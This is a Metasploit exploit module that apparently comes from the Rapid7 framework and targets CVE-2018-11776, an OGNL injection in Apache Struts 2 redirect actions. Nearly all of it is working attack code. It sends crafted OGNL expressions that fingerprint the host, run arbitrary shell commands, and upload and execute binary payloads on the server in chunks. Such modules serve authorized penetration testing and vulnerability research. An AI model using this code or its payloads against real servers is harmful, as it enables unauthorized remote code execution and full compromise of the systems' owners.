##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  # Eschewing CmdStager for now, since the use of '\' and ';' are killing me
  # include Msf::Exploit::CmdStager   # https://docs.metasploit.com/docs/development/developing-modules/guides/how-to-use-command-stagers.html

  # NOTE: Debugging code has been stripped, but is available in the commit history: a9e625789175a4c4fdfc7092eedfaf376e4d648e

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection',
        'Description' => %q{
          This module exploits a remote code execution vulnerability in Apache Struts
          version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed
          via an endpoint that makes use of a redirect action.

          Note that this exploit is dependant on the version of Tomcat running on
          the target.  Versions of Tomcat starting with 7.0.88 currently don't
          support payloads larger than ~7.5kb.  Windows Meterpreter sessions on
          Tomcat >=7.0.88 are currently not supported.

          Native payloads will be converted to executables and dropped in the
          server's temp dir. If this fails, try a cmd/* payload, which won't
          have to write to the disk.
        },
        'Author' => [
          'Man Yue Mo', # Discovery
          'hook-s3c',   # PoC
          'asoto-r7',   # Metasploit module
          'wvu'         # Metasploit module
        ],
        'References' => [
          ['CVE', '2018-11776'],
          ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],
          ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'],
          ['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'],
        ],
        'Privileged' => false,
        'Targets' => [
          [
            'Automatic detection', {
              'Platform' => %w{unix windows linux},
              'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
            },
          ],
          [
            'Windows', {
              'Platform' => %w{windows},
              'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
            },
          ],
          [
            'Linux', {
              'Platform' => %w{unix linux},
              'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic' }
            },
          ],
        ],
        'DisclosureDate' => '2018-08-22', # Private disclosure = 2018-04-10
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
        OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),
        OptBool.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
      ]
    )
    register_advanced_options(
      [
        OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),
        OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"]),
        OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', "#{rand_text_alpha(8)}"]),
      ]
    )
  end

  def check
    # METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable
    ognl = "#_memberAccess['allowStaticMethodAccess']"

    resp = send_struts_request(ognl)

    # If vulnerable, the server should return an HTTP 302 (Redirect)
    #   and the 'Location' header should contain either 'true' or 'false'
    if resp && resp.headers['Location']
      output = resp.headers['Location']
      vprint_status("Redirected to:  #{output}")
      if (output.include? '/true/')
        print_status("Target does *not* require enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'false'")
        datastore['ENABLE_STATIC'] = false
        CheckCode::Vulnerable('Successfully executed the injected code')
      elsif (output.include? '/false/')
        print_status("Target requires enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'true'")
        datastore['ENABLE_STATIC'] = true
        CheckCode::Vulnerable('Successfully executed the injected code')
      else
        CheckCode::Safe('The target is not vulnerable')
      end
    elsif resp && resp.code == 400
      # METHOD 2: Generate two random numbers, ask the target to add them together.
      #   If it does, it's vulnerable.
      a = rand(10000)
      b = rand(10000)
      c = a + b

      ognl = "#{a}+#{b}"

      resp = send_struts_request(ognl)

      if resp.headers['Location'].include? c.to_s
        vprint_status("Redirected to:  #{resp.headers['Location']}")
        print_status("Target does *not* require enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'false'")
        datastore['ENABLE_STATIC'] = false
        CheckCode::Vulnerable('Successfully executed the injected code')
      else
        CheckCode::Safe('The target is not vulnerable')
      end
    elsif resp.nil?
      fail_with(Failure::Unreachable, "Target did not respond.  Please double check RHOSTS and RPORT")
    end
  end

  def exploit
    case payload.arch.first
    when ARCH_CMD
      resp = execute_command(payload.encoded)
    else
      resp = send_payload()
    end
  end

  def encode_ognl(ognl)
    # Check and fail if the command contains the follow bad characters:
    #   ';' seems to terminates the OGNL statement
    #   '/' causes the target to return an HTTP/400 error
    #   '\' causes the target to return an HTTP/400 error (sometimes?)
    #   '\r' ends the GET request prematurely
    #   '\n' ends the GET request prematurely

    bad_chars = %w[; \\ \r \n] # and maybe '/'
    bad_chars.each do |c|
      if ognl.include? c
        print_error("Bad OGNL request: #{ognl}")
        fail_with(Failure::BadConfig, "OGNL request cannot contain a '#{c}'")
      end
    end

    # The following list of characters *must* be encoded or ORNL will asplode
    encodable_chars = {
      "%": "%25", # Always do this one first.  :-)
      " ": "%20",
      "\"": "%22",
      "#": "%23",
      "'": "%27",
      "<": "%3c",
      ">": "%3e",
      "?": "%3f",
      "^": "%5e",
      "`": "%60",
      "{": "%7b",
      "|": "%7c",
      "}": "%7d",
    }
    # "\/":"%2f",       # Don't do this.  Just leave it front-slashes in as normal.
    # ";": "%3b",       # Doesn't work.  Anyone have a cool idea for a workaround?
    # "\\":"%5c",       # Doesn't work.  Anyone have a cool idea for a workaround?
    # "\\":"%5c%5c",    # Doesn't work.  Anyone have a cool idea for a workaround?

    encodable_chars.each do |k, v|
      # ognl.gsub!(k,v)                     # TypeError wrong argument type Symbol (expected Regexp)
      ognl.gsub!("#{k}", "#{v}")
    end
    return ognl
  end

  def send_struts_request(ognl, payload: nil, headers: nil)
    ognl = "${#{ognl}}"
    vprint_status("Submitted OGNL: #{ognl}")
    ognl = encode_ognl(ognl)

    if headers.nil?
      headers = { 'Keep-Alive': 'timeout=5, max=1000' }
    end

    if payload
      vprint_status("Embedding payload of #{payload.length} bytes")
      headers[datastore['HEADER']] = payload
    end

    # TODO: Consider embedding OGNL in an HTTP header to hide it from the Tomcat logs
    uri = normalize_uri(target_uri.path, "/#{ognl}/#{datastore['ACTION']}")

    r = send_request_cgi(
      # 'encode'  => true,     # this fails to encode '\', which is a problem for me
      'uri' => uri,
      'method' => datastore['HTTPMethod'],
      'headers' => headers
    )

    if r && r.code == 404
      fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")
    end

    return r
  end

  def send_profile
    # Use OGNL to extract properties from the Java environment

    properties = {
      'os.name': nil, # e.g. 'Linux'
      'os.arch': nil,          # e.g. 'amd64'
      'os.version': nil,       # e.g. '4.4.0-112-generic'
      'user.name': nil,        # e.g. 'root'
      # 'user.home': nil,       # e.g. '/root' (didn't work in testing)
      'user.language': nil,
    } # e.g. 'en'
    # 'java.io.tmpdir': nil,  # e.g. '/usr/local/tomcat/temp' (didn't work in testing)

    ognl = ""
    ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
    ognl << %Q|('#{rand_text_alpha(2)}')|
    properties.each do |k, v|
      ognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'|
    end
    ognl = ognl[0...-4]

    r = send_struts_request(ognl)

    if r.code == 400
      fail_with(Failure::UnexpectedReply, "Server returned HTTP 400, consider toggling the ENABLE_STATIC option")
    elsif r.headers['Location']
      # r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action'
      #   Extract the OGNL output from the Location path, and strip the two random chars
      s = r.headers['Location'].split('/')[1][2..-1]

      if s.nil?
        # Since the target didn't respond with an HTTP/400, we know the OGNL code executed.
        #   But we didn't get any output, so we can't profile the target.  Abort.
        return nil
      end

      # Confirm that all fields were returned, and non include extra (:) delimiters
      #   If the OGNL fails, we might get a partial result back, in which case, we'll abort.
      if s.count(':') > properties.length
        print_error("Failed to profile target.  Response from server: #{r.to_s}")
        fail_with(Failure::UnexpectedReply, "Target responded with unexpected profiling data")
      end

      # Separate the colon-delimited properties and store in the 'properties' hash
      s = s.split(':')
      i = 0
      properties.each do |k, v|
        properties[k] = s[i]
        i += 1
      end

      print_good("Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}" +
        " #{properties[:'os.arch']}, running as #{properties[:'user.name']}")
      return properties
    else
      print_error("Failed to profile target.  Response from server: #{r.to_s}")
      fail_with(Failure::UnexpectedReply, "Server did not respond properly to profiling attempt.")
    end
  end

  def profile_os
    # Probe for the target OS and architecture
    begin
      properties = send_profile()
      os = properties[:'os.name'].downcase
    rescue
      vprint_warning("Target profiling was unable to determine operating system")
      os = ''
      os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
      os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
      os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
    end
    return os
  end

  def execute_command(cmd_input, opts = {})
    # Semicolons appear to be a bad character in OGNL.  cmdstager doesn't understand that.
    if cmd_input.include? ';'
      print_warning("WARNING: Command contains bad characters: semicolons (;).")
    end

    os = profile_os()

    if os && ((os.include? 'linux') || (os.include? 'nix'))
      cmd = "{'sh','-c','#{cmd_input}'}"
    elsif os && (os.include? 'win')
      cmd = "{'cmd.exe','/c','#{cmd_input}'}"
    else
      vprint_error("Failed to detect target OS.  Attempting to execute command directly")
      cmd = cmd_input
    end

    # The following OGNL will run arbitrary commands on Windows and Linux
    #   targets, as well as returning STDOUT and STDERR.  In my testing,
    #   on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds.

    vprint_status("Executing: #{cmd}")

    ognl = ""
    ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
    ognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).|
    ognl << %q|(#p.redirectErrorStream(true)).|
    ognl << %q|(#process=#p.start()).|
    ognl << %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).|
    ognl << %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).|
    ognl << %q|(#r.flush())|

    r = send_struts_request(ognl)

    if r && r.code == 200
      print_good("Command executed:\n#{r.body}")
    elsif r
      if r.body.length == 0
        print_status("Payload sent, but no output provided from server.")
      elsif r.body.length > 0
        print_error("Failed to run command.  Response from server: #{r.to_s}")
      end
    end
  end

  def send_payload
    data_header = datastore['HEADER']
    if data_header.empty?
      fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
    end

    payload = generate_payload_exe
    print_status("Generated #{payload.length} byte binary payload")
    payload_b64 = [payload].pack("m").delete("\n")

    if payload_b64.length < 8100
      send_payload_oneshot(payload_b64)
    else
      send_payload_multishot(payload)
    end
  end

  def send_payload_oneshot(payload)
    data_header = datastore['HEADER']
    if data_header.empty?
      fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
    end

    random_filename = datastore['TEMPFILE']

    # d = payload data
    # f = path to temp file
    # s = stream/handle to temp file
    ognl = ""
    ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
    ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
    ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','.tmp')).|
    ognl << %q|(#f.setExecutable(true)).|
    ognl << %q|(#f.deleteOnExit()).|
    ognl << %q|(#s=new java.io.FileOutputStream(#f)).|
    ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
    ognl << %q|(#s.write(#d)).|
    # TODO: Consider GZIP: ognl << %q|(#s.write(java.util.zip.GZIPInputStream(#d).read())).|
    ognl << %q|(#s.close()).|
    ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
    ognl << %q|(#p.start()).|
    ognl << %q|(#f.delete()).|

    success_string = rand_text_alpha(4)
    ognl << %Q|('#{success_string}')|

    r = send_struts_request(ognl, payload: payload)

    if r && r.headers && r.headers['Location'].split('/')[1] == success_string
      print_good("Payload successfully dropped and executed.")
    elsif r && r.headers['Location']
      vprint_error("RESPONSE: " + r.headers['Location'])
      fail_with(Failure::PayloadFailed, "Target did not successfully execute the request")
    elsif r && r.code == 400
      fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload")
    end
  end

  def ognl_create_file()
    filename = datastore['TEMPFILE']

    # f = path to temp file
    ognl = ""
    ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
    ognl << %Q|(#f=@java.io.File@createTempFile('#{filename}','.exe')).|
    ognl << %q|(#f.setExecutable(true)).|
    ognl << %q|(#f.deleteOnExit()).|
    ognl << %q|(#f)|

    r = send_struts_request(ognl)

    begin
      tempfile = r.headers['Location']
      tempfile = tempfile[1..-(2 + datastore['ACTION'].length)]
      if tempfile.empty?
        fail_with(Failure::UnexpectedReply, "Unable to create and locate file on target.  Try a cmd/*/generic payload")
      end
    rescue
      fail_with(Failure::UnexpectedReply, "Unable to create and locate file.  Try a cmd/*/generic payload")
    end

    return tempfile
  end

  def send_payload_multishot(payload)
    tempfile = ognl_create_file()
    print_status("Temp file created: #{tempfile}")

    payload_cursor = 0

    while payload_cursor < payload.length
      payload_size = rand(4500..5000) #  payload_size cannot exceed 5645 in my testing
      payload_start = payload_cursor
      payload_end = payload_cursor + payload_size
      payload_end = payload.size if payload_end > payload.size

      chunk_bin = payload[payload_start..payload_end]
      chunk_b64 = [chunk_bin].pack("m").delete("\n")
      print_status("Sending payload chunk: #{chunk_b64.length} bytes")
      ognl_append_file(tempfile, chunk_b64)

      payload_cursor = payload_end + 1
    end

    ognl_execute(tempfile)
  end

  def ognl_append_file(payload_file, payload_chunk)
    data_header = datastore['HEADER'] + 'd'
    file_header = datastore['HEADER'] + 'f'
    headers = {
      "#{data_header}": payload_chunk,
      "#{file_header}": payload_file,
    }

    # d = payload data
    # f = path to temp file
    # s = stream/handle to temp file
    ognl = ""
    ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
    ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
    ognl << %Q|(#f=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{file_header}')).|
    ognl << %q|(#s=new java.io.FileOutputStream(#f,1)).|
    ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
    ognl << %q|(#s.write(#d)).|
    ognl << %q|(#s.close()).|

    success_string = rand_text_alpha(4)
    ognl << %Q|('#{success_string}')|
    r = send_struts_request(ognl, headers: headers)

    begin
      if r.headers['Location'].include? success_string
        vprint_good("OGNL payload chunk sent successfully.")
        return
      else
        fail_with(Failure::UnexpectedReply, "OGNL payload upload did not respond")
      end
    rescue
      fail_with(Failure::UnexpectedReply, "OGNL payload upload failed")
    end
  end

  def ognl_execute(file)
    file_header = datastore['HEADER'] + 'f'
    headers = {
      "#{file_header}": file,
    }

    # f = path to temp file
    # p = process handle
    ognl = ""
    ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
    ognl << %Q|(#f=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{file_header}')).|
    ognl << %q|(#p=new java.lang.ProcessBuilder(#f)).|
    ognl << %q|(#p.start()).|
    ognl << %q|(#f.delete()).|

    success_string = rand_text_alpha(4)
    ognl << %Q|('#{success_string}')|
    r = send_struts_request(ognl, headers: headers)

    begin
      if r.code == 302
        print_good("OGNL payload executed successfully.")
      else
        fail_with(Failure::PayloadFailed, "Target did not successfully execute the request")
      end
    rescue
      vprint_status("TARGET RESPONDED: #{r.to_s}")
      fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while attempting to execute the payload")
    end
  end
end
